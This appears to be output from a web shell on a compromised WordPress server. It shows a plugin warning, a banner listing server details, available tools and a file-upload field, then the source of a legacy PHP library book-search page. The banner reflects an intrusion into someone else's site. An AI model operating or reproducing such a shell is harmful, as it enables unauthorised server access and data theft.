Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/_oldsite/ |
Upload File : |
<?php
require './inc/include.php';
require "$BASE/inc/inc.titlelist.php";
$DATABASE->Open();
$authorlist = $DATABASE->Query('select ba_id, ba_name from dt_author order by ba_name', '__alist', array('' => 'Please select author'));
$res = '';
if ($isPost) {
$found = Post1_DoSearch();
} else {
$found = array();
}
$FIELDDEFS = array(
'key' => array('opt' => INP_STRING, 'lbl' => '&Keywords', 'sz' => 255, 'wd' => 60),
'author' => array('opt' => INP_SELECT, 'lbl' => '&Select Author', 'list' => $authorlist),
);
$DATA = array();
$errcount = ifp_PrepareData($DATA, '', '', $FIELDDEFS);
$DATABASE->Close();
$text = ifp_GeneratePage($FIELDDEFS);
if (count($found)) {
usort($found, '__byTitle');
$res = FormatResults($found);
if ($res != '') $res = <<<BLOCK
<hr>
<table border="0" width="100%">
$res
</table>
BLOCK;
}
if ($res == '') $res = '<br><br><br><br><br><br><br>';
echo page_header('Search');
echo <<<BLOCK
<h2>Search for a Book</h2>
<p>Please enter key word(s) or select an author:</p>
<form method="post" action="http://$BASE_URL" name="f"><table border="0">
$text
<tr><td align="right"><input type="submit" value=" search for book "></td></tr>
</table></form>
<script type="text/javascript">
document.f.key.focus();
</script>
<p>Words in keyword search must be at least 4 letters</p>
$res
BLOCK;
echo page_footer();
function __alist(&$ITEM, &$param) {
$param[$ITEM['ba_id']] = $ITEM['ba_name'];
return 0;
}
function Post1_DoSearch() {
global $DATABASE;
$keywords = isset($_POST['key']) ? trim(strtolower($_POST['key'])) : '';
$author = isset($_POST['author']) ? intval($_POST['author']) : 0;
$where = '';
if ($keywords != '') {
$clause = '';
$wordlist = explode(' ', $keywords);
foreach($wordlist as $word) {
if (substr($word, 0, 1) != '-') $word = "+$word";
if (strlen($word) > 4) {
if ($clause != '') $clause .= ' ';
$clause .= $word;
}
}
if ($clause != '') {
$dclause = $DATABASE->FormatString($clause);
$where = "(match (bt_title) against ($dclause IN BOOLEAN MODE))";
}
}
if ($author) {
if ($where != '') $where .= ' and ';
$where .= "(bt_author1=$author or bt_author2=$author)";
}
// http://dev.mysql.com/doc/refman/5.0/en/fulltext-boolean.html
if ($where == '') return array();
$sql = <<<BLOCK
select a1.ba_name as ba_name1,a2.ba_name as ba_name2,bt_id,bt_title
from dt_title
left outer join dt_author as a1 on a1.ba_id=bt_author1
left outer join dt_author as a2 on a2.ba_id=bt_author2
where $where
BLOCK;
$res = $DATABASE->Query($sql, '__results', array());
DatabaseError();
return $res;
}
function __byTitle($a, $b) {
if ($a['ttl'] == $b['ttl']) {
return strcmp($a['a'], $b['a']);
}
return strcmp($a['ttl'], $b['ttl']);
}
function __results(&$ITEM, &$param) {
// include the current status
global $DATABASE;
$name1 = ip_asTitle($ITEM, 0);
$title = $ITEM['bt_id'];
/*
$info = GetBookStatus($title);
var_dump($info);
var_dump($name1);
exit; */
list($scode, $sdesc) = _GetBookStatus($title);
/*
int(1)
string(12) "at Stoughton"
var_dump($scode);
var_dump($sdesc);
exit;
*/
$param[] = array('id' => $title, 'ttl' => $ITEM['bt_title'], 'a' => $name1, 'scode' => $scode, 'sdesc' => $sdesc);
}
function FormatResults(&$found) {
$result = '';
foreach($found as $entry) {
$status = $entry['sdesc'];
$result .= "<tr><td width=\"260\"><a href=\"/book.php?id={$entry['id']}\">{$entry['ttl']}<a></td><td width=\"125\">{$entry['a']}</td><td>$status<td></tr>\n";
}
return $result;
}
function _GetBookStatus($titleid) {
global $DATABASE;
$sql = <<<BLOCK
select * from dt_stock
left outer join dt_tranh on bh_id=ds_invoice
where ds_out < '1991-01-01' and ds_title=$titleid
BLOCK;
$list = $DATABASE->Query($sql, '__bookstat2', array());
if (!count($list)) { // none available
return array(0, "<a href=\"/request.php?sid=$titleid\">not in stock</a>");
}
$c = count($list);
$due = '2999-12-31';
for($i = 0; $i < $c; $i++) {
if ($list[$i] == '*') {
return array(1, 'at Stoughton');
} elseif ($list[$i] < $due) {
$due = $list[$i];
}
}
$due = strtotime($due);
return array(2, 'Due: ' . date('M j, y', $due));
// not in stock (order now)
//in stock
// out: due in: earliest return date (order now)
}
function __bookstat2(&$ITEM, &$param) {
if ($ITEM['ds_member'] <> 0) {
$param[] = $ITEM['bh_return'];
} else {
$param[] = '*';
}
}
?>